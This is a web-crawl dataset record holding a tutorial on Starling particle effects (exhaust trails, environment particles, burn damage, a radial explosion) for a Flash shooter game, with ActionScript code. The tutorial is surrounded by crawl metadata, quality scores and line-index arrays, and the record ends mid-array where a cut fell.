2107,
2108,
2164,
2239,
2308,
2309,
2572,
2573,
2598,
2599,
2746,
2747,
2968,
2969,
3201,
3202,
3229,
3230,
3316,
3317,
3772,
3773,
4080,
4081,
4103,
4104,
4339,
4340,
4542,
4543,
4702,
4703,
4719,
4720,
5001,
5002,
5240,
5241,
5280,
5281,
5449,
5450,
5470,
5471,
5770,
5771,
5787,
5805,
5806,
6013,
6014,
6125,
6126,
6145,
6146,
6368,
6369,
6572,
6573,
6587,
6588,
6734,
6735,
6901,
6902,
6918,
6919,
6979,
6980,
7002,
7003,
7209,
7210,
7221,
7222,
7534,
7535,
7644
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 7644,
"ccnet_original_nlines": 107,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.41082802414894104,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.010191080160439014,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.18216560781002045,
"rps_doc_frac_unique_words": 0.4549800753593445,
"rps_doc_mean_word_length": 4.871713161468506,
"rps_doc_num_sentences": 78,
"rps_doc_symbol_to_word_ratio": 0.01146497018635273,
"rps_doc_unigram_entropy": 5.744865894317627,
"rps_doc_word_count": 1255,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.010794900357723236,
"rps_doc_frac_chars_dupe_6grams": 0.010794900357723236,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.01144913025200367,
"rps_doc_frac_chars_top_3gram": 0.004416089970618486,
"rps_doc_frac_chars_top_4gram": 0.005233889911323786,
"rps_doc_books_importance": -712.0186157226562,
"rps_doc_books_importance_length_correction": -712.0186157226562,
"rps_doc_openwebtext_importance": -401.6261291503906,
"rps_doc_openwebtext_importance_length_correction": -401.6261291503906,
"rps_doc_wikipedia_importance": -240.8455352783203,
"rps_doc_wikipedia_importance_length_correction": -240.8455352783203
},
"fasttext": {
"dclm": 0.04448341950774193,
"english": 0.9389836192131042,
"fineweb_edu_approx": 1.6793750524520874,
"eai_general_math": 0.05815118923783302,
"eai_open_web_math": 0.2148193120956421,
"eai_web_code": 0.02201234921813011
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "004.678",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "658.8",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Business",
"level_3": "Management"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "10",
"label": "Knowledge Article"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-8,882,017,958,389,091,000 |
Hot File
Starling Particle Effects for Stage3D Shooter Games using Flash
View: 439 Dowload: 0 Comment: 0 Post by: hanhga
Author: none Category: Flash template, Flash game Fields: Other
9 point/3 review File has been tested
I'm sure Stage3D is not foreign to most readers; it's the new API that gives AS3 programmers access to the GPU
Introduction
I'm sure Stage3D is not foreign to most readers; it's the new API that gives AS3 programmers access to the GPU.
However, coding against opcodes in Stage3D may not be everyone's preferred choice, so it's fortunate that there's a shortcut: Starling, a library developed to encapsulate this low level programming to make it much easier. And along with Starling comes its particle effects extension. In this tutorial, we'll check out the particle systems of this framework, and see its applications applied to a shoot-'em-up game.
Skip this step if you've been working with FlashDevelop for some time. For beginners, here's how you install a library package - in this case Starling and its particle extension. Note that these two items don't come in one package, so we'll have to download them separately.
First, download Starling framework and its particle extension from their repositories. Unzip upon successful download. Scan the first unzipped directory for src folder and paste the Starling framework library, highlighted in the image below, into your project source folder.
Install Starling library
Scan the second folder for the particle extension and combine them together. You can pull the highlighted folder below into the Starling folder. The image below is the end result you should arrive at.
Install particle extension onto Starling
For more info about FlashDevelop and using external libraries, see these tutorials:
• Beginner's Guide to FlashDevelop
• How to Use an External Library in Your Flash Projects
If you've not been introduced to Starling and its particle extension already, I strongly encourage a visit to Lee Brimelow's video tutorials on Starling and particle effects, and Matthew Chung's tutorial about handling animation states with Starling.
We're going to just breeze through the basics in two steps here. If you're already aquainted with Starling and its particle extension, feel free to jump to Step 4.
You can see from the second image of the previous step (the lower part) that two classes are being created: Main.as and Testing.as. The first acts as a launcher for the latter. So, most of our Starling code lives in Testing.as. I've highlighted the important code in Main.as here:
private function init(e:Event = null):void
{
removeEventListener(Event.ADDED_TO_STAGE, init);
// entry point
var myStarling:Starling = new Starling(Testing, stage);
myStarling.simulateMultitouch = true;
myStarling.start();
//initiate Starling onto stage
//allow mouse/ touch events to happen in Starling
//turn key and start the engine!
}
. and Testing.as should look like this:
public class Testing extends Sprite
{
public function Testing() {
addEventListener(Event.ADDED_TO_STAGE, init);
}
private function init(e:Event):void {
removeEventListener(Event.ADDED_TO_STAGE, init);
// code goes here.
stage.color = 0; //turn stage colour to black
//Draw a little quad on stage,
//just to make sure everything's in place
//Note the top left corner of sprite is aligned to middle of stage
var q:Quad = new Quad(30, 30); addChild(q);
q.color = 0xEEEEEE;
q.x = stage.stageWidth >> 1; q.y = stage.stageHeight >> 1;
}
}
And if everything is set up correctly, you should arrive at the result as shown below. Nothing much, just a sprite on the stage.
Note: Testing.as is extending Sprite from Starling.display.Sprite, notflash.display.Sprite. The classes have the same name, but are not the same.
The particle extension of Starling contains three important classes. Their functionalities are tabulated below.
Name of Class Functionality
Particle.as A single particle with unique attributes.
ParticleSystem.as Controls the flow of particles: generation, animation and recycling.
ParticleDesignerPS.as An extension of ParticleSystem.as to enable easy manipulation of particle system.
We shall create an instance of ParticleDesignerPS.as. This requires inputting the following arguments into the class constructor:
• an XML file that contains all initiation value for particle properties (quite a number of them)
• a image to sample for all particles
No worries, onebyonedesign.com will help you out with this. Visit their particle designer page and tweak all these initiation values to your heart's content. Then export all the data to ZIP format. This ZIP file will contain the XML file and the image for the particle effect you just designed through their webpage!
Save particle details.
Unzip and pull all these into your source folder in FlashDevelop. See the highlighted items in image below.
Integrate with source folder.
Generate import statements to get these two items into your Testing class. You will also need to rewrite the init method in Testing. They are all below.
[Embed(source="particle.pex", mimeType="application/octet-stream")]
private var InitValues:Class
[Embed(source = "texture.png")]
private var Sample:Class
private function init(e:Event):void {
removeEventListener(Event.ADDED_TO_STAGE, init);
// code goes here.
stage.color = 0; //turn stage colour to black
var flow1:ParticleDesignerPS =
new ParticleDesignerPS(
XML(new InitValues()),
Texture.fromBitmap(new Sample())
);
addChild(flow1);
flow1.emitterX = stage.stageWidth >> 1; flow1.emitterY = stage.stageHeight >> 1;
flow1.start();
Starling.juggler.add(flow1);
}
Our next step is to enable interaction with the particle system (that little fire) at runtime. We'll use the mouse to control the properties of fire. However before we do, I'd like to sidetrack a little to brief you on the concept of particle systems.
Particles are just sprites that get emitted from a coordinate. After birth, they will animate in a certain pattern. This pattern can be unique for each particle or common to all particles. But rest assured, their physical properties will change over time. For example:
• Distance from birth coordinate
• Direction and speed
• Color and alpha level
• Size
Also, their life on the stage is determined at birth. If each particle is allowed to live forever on stage, we'll have overpopulation and the application performance will suffer due to having a lot of graphical assets to handle. At some point, the particle dies but it doesn't get shovelled off the stage. It's recycled instead, by being relocated to a birth coordinate and assume the role of a new particle. It's a new particle because a new set of properties will be defined for it then before its animation kicks in and another cycle continues.
(This is object pooling, and you can see how to apply it to your own non-Starling Flash projects here.)
Okay, so how does this relate to our fire? Well, we can use easing functions to animate properties of this fire over time. Within the Starling framework,ParticleDesignerPS is positioned at the end of this hierarchy:
ParticleDesignerPS > ParticleSystem > DisplayObject > EventDispatcher >Object
To strike a balance, we'll just trace inherited properties from ParticleSystem. Let's have a look at these the next step...
Below are the properties of ParticleSystem.
Property Description
capacity Maximum particles the system can carry at any moment. Increases in steps of 500 once the number of particles exceeds its current capacity. Read-only.
numParticles Number of particles in the system at a given time. Read-only.
emissionRate Number of particles generated from birth coordinate each second.
emitterXemitterY Control point for the container in which all particles live.
blendFactorSource,blendFactorDestination
Context3DBlendFactor definition for source and destination. Destination refers to pixel colour from latest render and source refers to new pixel colour to draw onto destination.
texture Current image sampled as texture of particles. Read-only.
Those of ParticleDesignerPS are tabulated in the next table. Most of these properties can be fine tuned by its start and end state. For example, all generated particles will initiate with a size of 1.0 and terminate at 0.1. However, particle flow will be boring if all particles are initiated and terminated at such similar states, soParticleDesignerPS provisions for variance of the initial value, and sometimes variance on termination value as well.
Quoting their example, if we give a variance of 0.2 on the particle's initial size, consecutive particles birthed or recycled into the system will initiate their size somewhere between 0.8 ~ 1.2 and end at 0.1.
Property Description
emitterXVarianceemitterYVariance Variation of the birth coordinate.
startSizestartSizeVariance Initial size and variance
endSizeendSizeVariance Termination size and variance
emitAngleemitAngleVariance Particle's initial direction and variance
speedspeedVariance Particle's initial speed and variance
gravityX Acceleration along x-axis on all particles' initial velocity
gravityY Acceleration along y-axis on all particles' initial velocity
tangentialAcceleration,tangentialAccelerationVariation Rate of rotation on particle's velocity, and variance
There are two types of particle flow provisioned for in ParticleDesignerPS: gravity and radial. Shown in the table above are properties you can tweak if you're using gravity flow. For gravity, birth coordinate of particles is located at emitterX andemitterY. For radial, birth coordinate for particles is located some point away fromemitterX and emitterY, and they move towards it. The table below shows the properties of radial flow.
Property Description
maxRadiusmaxRadiusVariance Maximum radius from center, and variance
minRadius Minimum radius from center
rotationPerSecond,rotationPerSecondVariance Rate of rotation on particle's velocity
startColorstartColorVariance Initial color and variance
endColorendColorVariance Termination color and variance
Well, thanks for accommodating that little detour. Now for some ActionScript. In theinit method, we will add a listener onto the stage for touch events.
stage.addEventListener(TouchEvent.TOUCH, track);
And the listener as below.
private function track(e:TouchEvent):void {
var touch:Touch = e.getTouch(stage); //mapping onto stage's coordinate grid
//when user presses mouse and moves
if (touch.phase == TouchPhase.MOVED) {
//calculate the angle to point particle flow to
var distX:Number = touch.globalX - flow1.emitterX;
var distY:Number = touch.globalY - flow1.emitterY;
var angle:Number = Math.atan2(distY, distX);
t = new Tween(flow1, 1.5, Transitions.EASE_OUT_BACK);
t.animate("emitAngle", angle);
Starling.juggler.add(t);
}
}
In order to perform the animation, a Tween instance is defined. Its manipulation is similar to that of popular Tween engines in many ways. Then, we add it to the juggler of current instance of Starling. This juggler object will help to progressively update the Tween instance over time.
The result is below. Click and drag your mouse around the stage.
Let's set up our ship now and put a trail on it. The assets are from opengameart.organd I've included them in the download package. Check that site out for other free game art.
We'll start afresh with another class, TestingShip.as. First, import the spaceship image "boss1.png".
[Embed(source = "boss1.png")]
private var Ship:Class
..followed by a little setup to initialise it in the init method:
//setup the graphical appearance
var shipBMP:Bitmap = new Ship() as Bitmap; //import asset into a bmp
var shipTEX:Texture = Texture.fromBitmap(shipBMP); //sample bmp as texture to image
var shipIMG:Image = new Image(shipTEX); //image created with texture
//setup ship's orientation & position
shipIMG.rotation -= Math.PI*0.5; //reorient the image
shipIMG.x -= shipIMG.width >> 1; //because image's origin is at top left corner,
shipIMG.y += shipIMG.height >> 1; //we reposition the image
theShip = new Sprite(); //and put it into a sprite. Now registration point is centered.
theShip.addChild(shipIMG); //sprite placed onto stage
addChildAt(theShip, 0);
//navigational properties of ship
loc = new Vector2D(stage.stageWidth >> 1, stage.stageHeight >> 1);
lof = new Vector2D(0, 10);
updateShip();
Update its position and orientation according to loc (location) and lof (line of sight).
private function updateShip():void {
theShip.x = loc.x;
theShip.y = loc.y;
theShip.rotation = lof.getAngle();
}
Okay, the exhaust of the ship is on top of the ship itself, and the spaceship is not responding to mouse event. We'll fix that now. Just offset the emitterX andemitterY of the particle flow some distance off from the spaceship and update spaceship's rotation using lof.
(Note that lof is updated on mouse events. You will see the script next step.)
private function updateShip():void {
theShip.x = loc.x;
theShip.y = loc.y;
theShip.rotation = lof.getAngle();
//update particle trail
offset = new Vector2D(60, 0);
offset.setAngle(lof.getAngle());
flow1.emitterX = loc.x - offset.x;
flow1.emitterY = loc.y - offset.y;
}
Step 9: Navigating Ship
Let's try to program ship navigation now, at the dispatch of a mouse event. I've only commented the important lines:
private function track(e:TouchEvent):void {
var touch:Touch = e.getTouch(stage);
if (touch.phase == TouchPhase.MOVED) {
var distX:Number = touch.globalX - flow1.emitterX;
var distY:Number = touch.globalY - flow1.emitterY;
angle = Math.atan2(distY, distX);
t = new Tween(flow1, 1.5, Transitions.EASE_OUT_BACK);
t.animate("emitAngle", angle + Math.PI);
t2 = new Tween(theShip, 1.5, Transitions.EASE_OUT);
t2.moveTo(touch.globalX, touch.globalY); //move the ship
t2.onUpdate = refresh //call upon this function whenever tween engine runs
Starling.juggler.add(t);
Starling.juggler.add(t2); //add to juggler
}
}
private function refresh():void {
loc.x = theShip.x; //refresh location
loc.y = theShip.y;
lof.setAngle(angle); //refresh orientation
updateShip(); // update
}
Let's fine tune our exhaust. When the ship is moving, the exhaust will definitely be blowing harder, right? We can step up the emissionRate and speed when moving the ship, and step down emissionRate when it's stopped. Here's the event, highlighted:
t2 = new Tween(theShip, 1.5, Transitions.EASE_OUT);
t2.moveTo(touch.globalX, touch.globalY); //move the ship
t2.onUpdate = refresh //call upon this function whenever tween engine runs
t2.onStart = beginState //when ship starts moving
t2.onComplete = endState //when ship animation stops
And here are the function calls on those events.
private function beginState():void {
flow1.emissionRate = 250
flow1.speed = 100;
}
private function endState():void {
flow1.emissionRate = 50
flow1.speed = 10;
}
Particles can also express how fast the ship is moving relative to its environment. Check out the output below. Click and drag you mouse around. Observe the speed at which the surrounding particles move. They increase as you interact with the ship, and slows down when you stop the interaction. They also orient their rotation accordingly.
The initiation of the particles follows a similar format to the previous example. You may choose to tweak your effect with the app from onebyonedesign.com and import into your stage. I just code straight into ActionScript for ease.
envr = new ParticleDesignerPS( XML(new InitValues()),
Texture.fromBitmap(new Sample())
);
addChildAt(envr,0);
envr.blendFactorSource = Context3DBlendFactor.ONE
envr.blendFactorDestination = Context3DBlendFactor.ONE
envr.speed = 10; envr.speedVariance = 20;
envr.startSize = 15; envr.startSizeVariance = 0;
envr.endSize = 20; envr.endSizeVariance = 20
envr.lifespan = 5.0; envr.lifespanVariance = 4.0;
envr.emissionRate = 10
envr.start(); Starling.juggler.add(envr);
We'll also need to put the particle emitter a little distance ahead of the ship.
envrLoc = new Vector2D(100, 0);
envrLoc.setAngle(angle);
And update this vector at runtime.
//update the environment
envr.gravityX = -40*lof.x; //particle is accelerating in opposite direction
envr.gravityY = -40*lof.y; //of the line of sight vector
envr.emitterX = loc.x + envrLoc.x;
envr.emitterY = loc.y + envrLoc.y;
You see, the emitterXVariance and emitterYVariance handle the axes separately. This means that if we rotate the spaceship, we need some means of determining the length of the spread along these two axes.
Spread issue in emitter
Now check out the vector for line of sight. It's always perpendicular to that of spread line (the thin dark line). We can scale up this vector accordingly and swizzle its x and y with those of emitter's variance on start point . Check the demo below. Click and drag your mouse around. You'll see the particle flow more vividly.
envrLoc = new Vector2D(200, 0);
envrLoc.setAngle(angle);
//update the spread
spread = envrLoc.clone();
spread.scale(0.5);
envr.emitterXVariance = spread.y;
envr.emitterYVariance = spread.x;
Finally as the ship is accelerating, let's increase the magnitude of gravityX andgravityY, plus the exhaust, accordingly.
if (touch.phase == TouchPhase.MOVED) {
var distX:Number = touch.globalX - flow1.emitterX;
var distY:Number = touch.globalY - flow1.emitterY;
angle = Math.atan2(distY, distX);
//animate the exhaust
t = new Tween(flow1, 1.5, Transitions.EASE_OUT_BACK);
t.animate("emitAngle", angle + Math.PI);
Starling.juggler.add(t);
//control the exhaust
flow1.speed = 350;
flow1.endSize = 70;
//orient the ship & parallax's angle
lof.setAngle(angle);
lof.setMagnitude(10); //adjust the magnitude of acceleration
envrLoc.setAngle(angle);
}
if (touch.phase == TouchPhase.ENDED) {
//control the exhaust
flow1.speed = 100;
flow1.endSize = 10;
lof.setMagnitude(5); //adjust the magnitude of acceleration
}
As you progress in the game, you will definitely take hits and suffer damage. As damage becomes severe, you ship will burn up. Such an effect can be generated here; we can make use of the emissionXVariance and emissionYVariance to define the area of burn. I've highlighted them in the code below.
envr = new ParticleDesignerPS( XML(new InitValues()),
Texture.fromBitmap(new Sample())
);
addChildAt(envr,2);
envr.blendFactorSource = Context3DBlendFactor.ONE_MINUS_SOURCE_ALPHA
envr.blendFactorDestination = Context3DBlendFactor.ONE;
envr.emitterXVariance = theShip.width >> 2;
envr.emitterYVariance = theShip.height >> 2;
envr.emitAngle = 0; envr.emitAngleVariance = Math.PI;
envr.speed = 0;
envr.startSize = 40; envr.startSizeVariance = 0;
envr.endSize = 10; envr.endSizeVariance = 0
envr.lifespan = 5.0; envr.lifespanVariance = 3.0;
envr.emissionRate = 10;
envr.start(); Starling.juggler.add(envr);
Damage severity is indicated by the area and intensity of burn. Increase and decrease emissionRate to simulate this. I've added controls on keyboard "A" and "S" to emulate this.
private function controlBurn(e:KeyboardEvent):void {
if (e.keyCode == Keyboard.A) {
if(envr.emissionRate < 150) envr.emissionRate += 10;
if (envr.lifespan < 8) envr.lifespan += 0.5;
}
if (e.keyCode == Keyboard.S) {
if(envr.emissionRate > 10) envr.emissionRate -= 10;
if (envr.lifespan > 5) envr.lifespan -= 0.5;
}
}
Note that if you increase the lifespan of particles, the fire seems to burn more intensely. Well, it takes time to interpolate particles from its initial size to end size, so if you increase the lifespan, its longer to transition from the bigger start to smaller end size. As more big particles stay in the same spot longer, they blend together to give the impression of a more intense fire.
Press the "A" key to see the fire burn more intensely and the "S" key to slightly quench it. The exhaust's color has been change, to differentiate it from the burning:
All good games must end at some point. Regardless of who's being eliminated, a good explosion for a finish should not be missed. So how about a nuclear mushroom cloud? Click on the demo below to see one.
This particle flow is a little different than the ones we have seen. Previously we have been using particle flow type 0 (gravity) and this is type 1 (radial). The particles are actually moving to the middle at a constant velocity.
I turned the emission angle variance to its highest so you can see all the generated particles form a circle. Then, by animating the maximum radius and the minimum radius these particles should live in over time, using a Tween, we achieve this result
explosion = new ParticleDesignerPS(
XML(new InitValues()),
Texture.fromBitmap(new Sample())
);
addChild(explosion);
explosion.emitterX = stage.stageWidth >> 1;
explosion.emitterY = stage.stageHeight >> 1;
explosion.emitterType = 1;
explosion.emitAngle = 0; explosion.emitAngleVariance = Math.PI;
explosion.maxRadius = 10; explosion.maxRadiusVariance = 0;
explosion.minRadius = 0;
Here's the code to perform the animation.
private function track(e:TouchEvent):void {
var touch:Touch = e.getTouch(stage);
if (touch.phase == TouchPhase.BEGAN) {
explosion.emitterX = touch.globalX;
explosion.emitterY = touch.globalY;
explosion.start();
t = new Tween(explosion, 1.0, Transitions.EASE_IN);
t.animate("maxRadius", 150);
t.animate("minRadius", 130);
t.onStart = freeze
t.onComplete = reset;
Starling.juggler.add(t);
}
}
private function freeze():void {
stage.removeEventListener(TouchEvent.TOUCH, track);
}
private function reset():void {
stage.addEventListener(TouchEvent.TOUCH, track);
explosion.stop();
explosion.maxRadius = 10;
explosion.minRadius = 0;
}
So this has been a lengthy tutorial. Let's do a little recap here. We've gone through:
• Setting up Starling and its particle extension
• Properties of the particle system
• Examples of property manipulations based on the scenario of a shooter game.
Starling Particle Effects for Stage3D Shooter Games using Flash
Starling Particle Effects for Stage3D Shooter Games using Flash Posted on 14-01-2016 I'm sure Stage3D is not foreign to most readers; it's the new API that gives AS3 programmers access to the GPU 3/10 439
Comment:
To comment you must be logged in members.
Files with category
Newsletter Email
File suggestion for you
File top downloads
logo codetitle
Codetitle.com - library source code to share, download the file to the community
Copyright © 2015. All rights reserved. codetitle.com Develope by Vinagon .Ltd
|
{
"url": "http://codetitle.com/files/view/starling-particle-effects-for-stage3d-shooter-games-using-flash-1691.html",
"source_domain": "codetitle.com",
"snapshot_id": "crawl=CC-MAIN-2017-30",
"warc_metadata": {
"Content-Length": "177705",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:6RMDZ45ATAA4ULGQ63FHTGRQ2CGULVCS",
"WARC-Concurrent-To": "<urn:uuid:456ee41f-df00-4f01-ad9f-42a2a2a2179f>",
"WARC-Date": "2017-07-28T12:50:56Z",
"WARC-IP-Address": "112.213.95.157",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:DYESOEZJ6T5ENWVKGEYNDTYU6HHDEG3S",
"WARC-Record-ID": "<urn:uuid:9aeccaf0-8476-4e70-850d-242ce6f0e76b>",
"WARC-Target-URI": "http://codetitle.com/files/view/starling-particle-effects-for-stage3d-shooter-games-using-flash-1691.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:756822ec-5a66-4c2c-89de-2741e191eadf>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-183-99-90.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-30\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for July 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
9,
10,
74,
75,
132,
200,
201,
239,
240,
351,
352,
365,
366,
478,
479,
894,
895,
1170,
1171,
1446,
1447,
1472,
1473,
1674,
1675,
1716,
1717,
1801,
1802,
1839,
1897,
1898,
2149,
2150,
2314,
2315,
2596,
2597,
2640,
2642,
2695,
2714,
2720,
2780,
2822,
2846,
2852,
2887,
2941,
2978,
2980,
2981,
3021,
3022,
3058,
3060,
3092,
3146,
3152,
3194,
3251,
3278,
3288,
3345,
3355,
3394,
3444,
3519,
3571,
3599,
3666,
3672,
3674,
3675,
3804,
3805,
3807,
3808,
3954,
3955,
4067,
4068,
4096,
4150,
4237,
4341,
4342,
4472,
4473,
4573,
4613,
4614,
4931,
4932,
4955,
4956,
5064,
5065,
5095,
5096,
5249,
5250,
5318,
5347,
5349,
5381,
5406,
5444,
5497,
5520,
5526,
5579,
5615,
5643,
5679,
5724,
5735,
5756,
5841,
5860,
5893,
5895,
5896,
6148,
6149,
6418,
6419,
6454,
6478,
6504,
6513,
6514,
7062,
7063,
7167,
7168,
7384,
7385,
7463,
7464,
7588,
7589,
7633,
7634,
7655,
7814,
7889,
7967,
8045,
8046,
8087,
8088,
8266,
8332,
8333,
8785,
8786,
8997,
8998,
9019,
9087,
9140,
9193,
9262,
9319,
9389,
9459,
9568,
9569,
10004,
10005,
10026,
10094,
10131,
10215,
10271,
10327,
10328,
10481,
10482,
10531,
10532,
10559,
10560,
10604,
10687,
10727,
10770,
10780,
10836,
10895,
10954,
11007,
11017,
11079,
11118,
11151,
11157,
11159,
11160,
11447,
11448,
11513,
11514,
11691,
11692,
11794,
11795,
11825,
11848,
11849,
11915,
11916,
11949,
12019,
12104,
12173,
12175,
12213,
12270,
12352,
12412,
12504,
12559,
12583,
12585,
12619,
12686,
12713,
12715,
12729,
12730,
12819,
12820,
12857,
12880,
12903,
12942,
12944,
12945,
13215,
13216,
13295,
13296,
13333,
13356,
13379,
13418,
13424,
13452,
13486,
13523,
13562,
13601,
13603,
13627,
13628,
13745,
13746,
13790,
13831,
13874,
13933,
13992,
14034,
14044,
14106,
14155,
14165,
14225,
14293,
14378,
14388,
14421,
14474,
14480,
14482,
14484,
14518,
14561,
14584,
14634,
14640,
14671,
14673,
14674,
14923,
14924,
14976,
15036,
15113,
15163,
15219,
15220,
15269,
15270,
15307,
15336,
15359,
15361,
15363,
15398,
15426,
15448,
15450,
15451,
15791,
15792,
16024,
16025,
16098,
16139,
16146,
16166,
16216,
16271,
16324,
16376,
16426,
16479,
16502,
16544,
16545,
16626,
16627,
16659,
16684,
16685,
16720,
16721,
16746,
16823,
16881,
16916,
16951,
16952,
17156,
17157,
17181,
17182,
17510,
17511,
17543,
17568,
17588,
17614,
17633,
17668,
17703,
17704,
17826,
17827,
17866,
17921,
17976,
18014,
18020,
18046,
18104,
18149,
18182,
18188,
18214,
18237,
18261,
18267,
18308,
18333,
18400,
18429,
18431,
18470,
18476,
18502,
18525,
18549,
18555,
18622,
18624,
18625,
18922,
18923,
18996,
19037,
19044,
19064,
19133,
19189,
19233,
19278,
19336,
19361,
19413,
19462,
19515,
19539,
19581,
19582,
19760,
19761,
19814,
19849,
19911,
19966,
19972,
20007,
20069,
20124,
20130,
20132,
20133,
20525,
20526,
20694,
20695,
20899,
20900,
21131,
21132,
21383,
21384,
21420,
21469,
21510,
21517,
21538,
21585,
21630,
21657,
21724,
21785,
21810,
21811,
21853,
21854,
21898,
21939,
21982,
22026,
22070,
22097,
22157,
22194,
22231,
22258,
22288,
22321,
22327,
22329,
22331,
22364,
22420,
22422,
22424,
22456,
22509,
22531,
22564,
22593,
22595,
22596,
22683,
22684,
22735,
22773,
22853,
22854,
22918,
22919,
23125,
23126,
23135,
23136,
23178,
23179,
23199,
23200,
23202,
23219,
23220,
23244,
23245,
23264,
23265,
23280,
23361
],
"line_end_idx": [
9,
10,
74,
75,
132,
200,
201,
239,
240,
351,
352,
365,
366,
478,
479,
894,
895,
1170,
1171,
1446,
1447,
1472,
1473,
1674,
1675,
1716,
1717,
1801,
1802,
1839,
1897,
1898,
2149,
2150,
2314,
2315,
2596,
2597,
2640,
2642,
2695,
2714,
2720,
2780,
2822,
2846,
2852,
2887,
2941,
2978,
2980,
2981,
3021,
3022,
3058,
3060,
3092,
3146,
3152,
3194,
3251,
3278,
3288,
3345,
3355,
3394,
3444,
3519,
3571,
3599,
3666,
3672,
3674,
3675,
3804,
3805,
3807,
3808,
3954,
3955,
4067,
4068,
4096,
4150,
4237,
4341,
4342,
4472,
4473,
4573,
4613,
4614,
4931,
4932,
4955,
4956,
5064,
5065,
5095,
5096,
5249,
5250,
5318,
5347,
5349,
5381,
5406,
5444,
5497,
5520,
5526,
5579,
5615,
5643,
5679,
5724,
5735,
5756,
5841,
5860,
5893,
5895,
5896,
6148,
6149,
6418,
6419,
6454,
6478,
6504,
6513,
6514,
7062,
7063,
7167,
7168,
7384,
7385,
7463,
7464,
7588,
7589,
7633,
7634,
7655,
7814,
7889,
7967,
8045,
8046,
8087,
8088,
8266,
8332,
8333,
8785,
8786,
8997,
8998,
9019,
9087,
9140,
9193,
9262,
9319,
9389,
9459,
9568,
9569,
10004,
10005,
10026,
10094,
10131,
10215,
10271,
10327,
10328,
10481,
10482,
10531,
10532,
10559,
10560,
10604,
10687,
10727,
10770,
10780,
10836,
10895,
10954,
11007,
11017,
11079,
11118,
11151,
11157,
11159,
11160,
11447,
11448,
11513,
11514,
11691,
11692,
11794,
11795,
11825,
11848,
11849,
11915,
11916,
11949,
12019,
12104,
12173,
12175,
12213,
12270,
12352,
12412,
12504,
12559,
12583,
12585,
12619,
12686,
12713,
12715,
12729,
12730,
12819,
12820,
12857,
12880,
12903,
12942,
12944,
12945,
13215,
13216,
13295,
13296,
13333,
13356,
13379,
13418,
13424,
13452,
13486,
13523,
13562,
13601,
13603,
13627,
13628,
13745,
13746,
13790,
13831,
13874,
13933,
13992,
14034,
14044,
14106,
14155,
14165,
14225,
14293,
14378,
14388,
14421,
14474,
14480,
14482,
14484,
14518,
14561,
14584,
14634,
14640,
14671,
14673,
14674,
14923,
14924,
14976,
15036,
15113,
15163,
15219,
15220,
15269,
15270,
15307,
15336,
15359,
15361,
15363,
15398,
15426,
15448,
15450,
15451,
15791,
15792,
16024,
16025,
16098,
16139,
16146,
16166,
16216,
16271,
16324,
16376,
16426,
16479,
16502,
16544,
16545,
16626,
16627,
16659,
16684,
16685,
16720,
16721,
16746,
16823,
16881,
16916,
16951,
16952,
17156,
17157,
17181,
17182,
17510,
17511,
17543,
17568,
17588,
17614,
17633,
17668,
17703,
17704,
17826,
17827,
17866,
17921,
17976,
18014,
18020,
18046,
18104,
18149,
18182,
18188,
18214,
18237,
18261,
18267,
18308,
18333,
18400,
18429,
18431,
18470,
18476,
18502,
18525,
18549,
18555,
18622,
18624,
18625,
18922,
18923,
18996,
19037,
19044,
19064,
19133,
19189,
19233,
19278,
19336,
19361,
19413,
19462,
19515,
19539,
19581,
19582,
19760,
19761,
19814,
19849,
19911,
19966,
19972,
20007,
20069,
20124,
20130,
20132,
20133,
20525,
20526,
20694,
20695,
20899,
20900,
21131,
21132,
21383,
21384,
21420,
21469,
21510,
21517,
21538,
21585,
21630,
21657,
21724,
21785,
21810,
21811,
21853,
21854,
21898,
21939,
21982,
22026,
22070,
22097,
22157,
22194,
22231,
22258,
22288,
22321,
22327,
22329,
22331,
22364,
22420,
22422,
22424,
22456,
22509,
22531,
22564,
22593,
